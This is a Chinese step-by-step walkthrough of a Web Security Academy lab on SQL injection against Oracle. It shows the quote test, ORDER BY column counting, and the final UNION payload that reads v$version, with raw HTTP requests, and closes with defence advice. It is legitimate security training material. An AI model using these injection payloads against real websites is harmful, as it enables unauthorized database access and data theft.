Web Security Academy 第三关:SQL 注入查询 Oracle 数据库版本

前言

大家好,本篇是 Web Security Academy 第三关:SQL 注入查询数据库版本 逐图逐步骤详细教程,全程和你提供的截图完全对应,一步一步带你复现通关。

另外,我之前已经发布过 Oracle 数据库基础用法的文章,对 Oracle 不熟悉的朋友可以先去看那篇补课,本文专注实战注入。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on Oracle
  • 注入点:商品分类 category 参数
  • 数据库:Oracle
  • 目标:页面回显完整数据库版本信息
  • 通关条件:显示指定版本字符串

步骤 1:进入关卡初始页面

首先打开靶场,进入第三关。页面顶部明确提示:Make the database retrieve the string: "Oracle Database 11g Express Edition..."

下方是商品列表,分类包括:All、Accessories、Food & Drink、Gifts 等。这一步确认:注入点在 category 参数


步骤 2:判断注入点 ------ 单引号测试

操作

在分类参数后直接加单引号:

plaintext

复制代码
category=Accessories'

页面结果

页面直接返回:Internal Server Error(500 错误)

请求包内容

plaintext

复制代码
GET /filter?category=Accessories%27 HTTP/2

响应:HTTP/2 500 Internal Server Error

结论

单引号破坏了后台 SQL 语句语法,存在字符型 SQL 注入


步骤 3:ORDER BY 1 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 1 --

页面结果

页面正常显示商品,无报错。说明当前字段数 ≥1。


步骤 4:ORDER BY 3 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 3 --

页面结果(对应截图)

页面再次返回 500 错误

请求包

plaintext

复制代码
GET /filter?category=Accessories%27%20order%20by%203%20-- HTTP/2

响应:500 错误。

结论

原查询字段数 小于 3


步骤 5:ORDER BY 2 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 2 --

页面结果(对应截图)

页面正常显示商品,无报错。

最终结论

原查询语句一共 2 个字段


步骤 6:构造 UNION 注入爆出版本

Oracle 版本查询核心知识

我之前文章讲过:

  • Oracle 查询完整版本使用系统视图:v$version
  • 版本信息字段:banner
  • Oracle 必须写 FROM,不能像 MySQL 省略
  • UNION 注入必须字段数、类型对齐

最终 Payload

plaintext

复制代码
category=-1' UNION SELECT banner,null FROM v$version--

Payload 拆解

  1. -1':让原查询结果为空,只显示我们注入的内容
  2. UNION SELECT:联合查询
  3. banner,null:刚好 2 个字段,与原查询对齐
  4. FROM v$version:Oracle 查版本必须的系统视图
  5. --:注释掉后面的 SQL 语句

步骤 7:通关成功

页面显示

页面顶部显示:Congratulations, you solved the lab!

页面直接回显完整版本:

  • Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
  • PL/SQL Release 11.2.0.2.0 - Production
  • CORE 11.2.0.2.0 Production
  • TNS for Linux: Version 11.2.0.2.0 - Production
  • NLSRTL Version 11.2.0.2.0 - Production

通关完成!


核心知识点总结

  1. 字符型注入判断:单引号触发 500 错误
  2. 字段数判断:ORDER BY 1→正常,2→正常,3→报错 → 共 2 字段
  3. Oracle 版本查询:SELECT banner FROM v$version
  4. UNION 注入必须:字段数一致、数据类型兼容
  5. 注释符:-- 闭合后面语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 禁止网站业务账号访问 v$version 等系统视图
  3. 输入过滤与 WAF 防护

对 Oracle 数据库结构、系统视图、权限管理还不了解的朋友,快去看我之前发布的 Oracle 数据库基础用法 文章,基础扎实,注入更快更稳!

相关推荐
罗政20 小时前
PDF 批量合并工具:本地 AI 自动排序、识别正文日期与合同编号
数据库·pdf·php
SelectDB21 小时前
宽表元数据膨胀怎么解?Doris Segment V3 对比 Parquet、Lance
大数据·数据库·数据分析
Csvn21 小时前
📊 SQL 入门 Day 2:排序与去重 — 让数据有序呈现
sql
曹牧21 小时前
Oracle:快速定位最新数据
数据库·oracle
Zhu7581 天前
在Docker环境部署ApacheGuacamole,对接PG数据库
数据库·docker·容器
Leighteen1 天前
Redis与MySQL双写一致性:从问题根源到工程落地
数据库·redis·mysql
AI-好学者1 天前
阶段二-Cypher查询语言详解
数据库·rag·graphrag
龙仔7251 天前
SQL Server 批量多库只读账号一键脚本(带逐行注释完整脚本 + 分段逐句详细解释)
服务器·数据库·sql·sqlserver·dba
咏方舟【长江支流】1 天前
【开源】跨语言·跨平台·跨数据库(2) —— 用宝轻量框架设计必读
数据库·架构·开源·ai编程·咏方舟-长江支流·用宝框架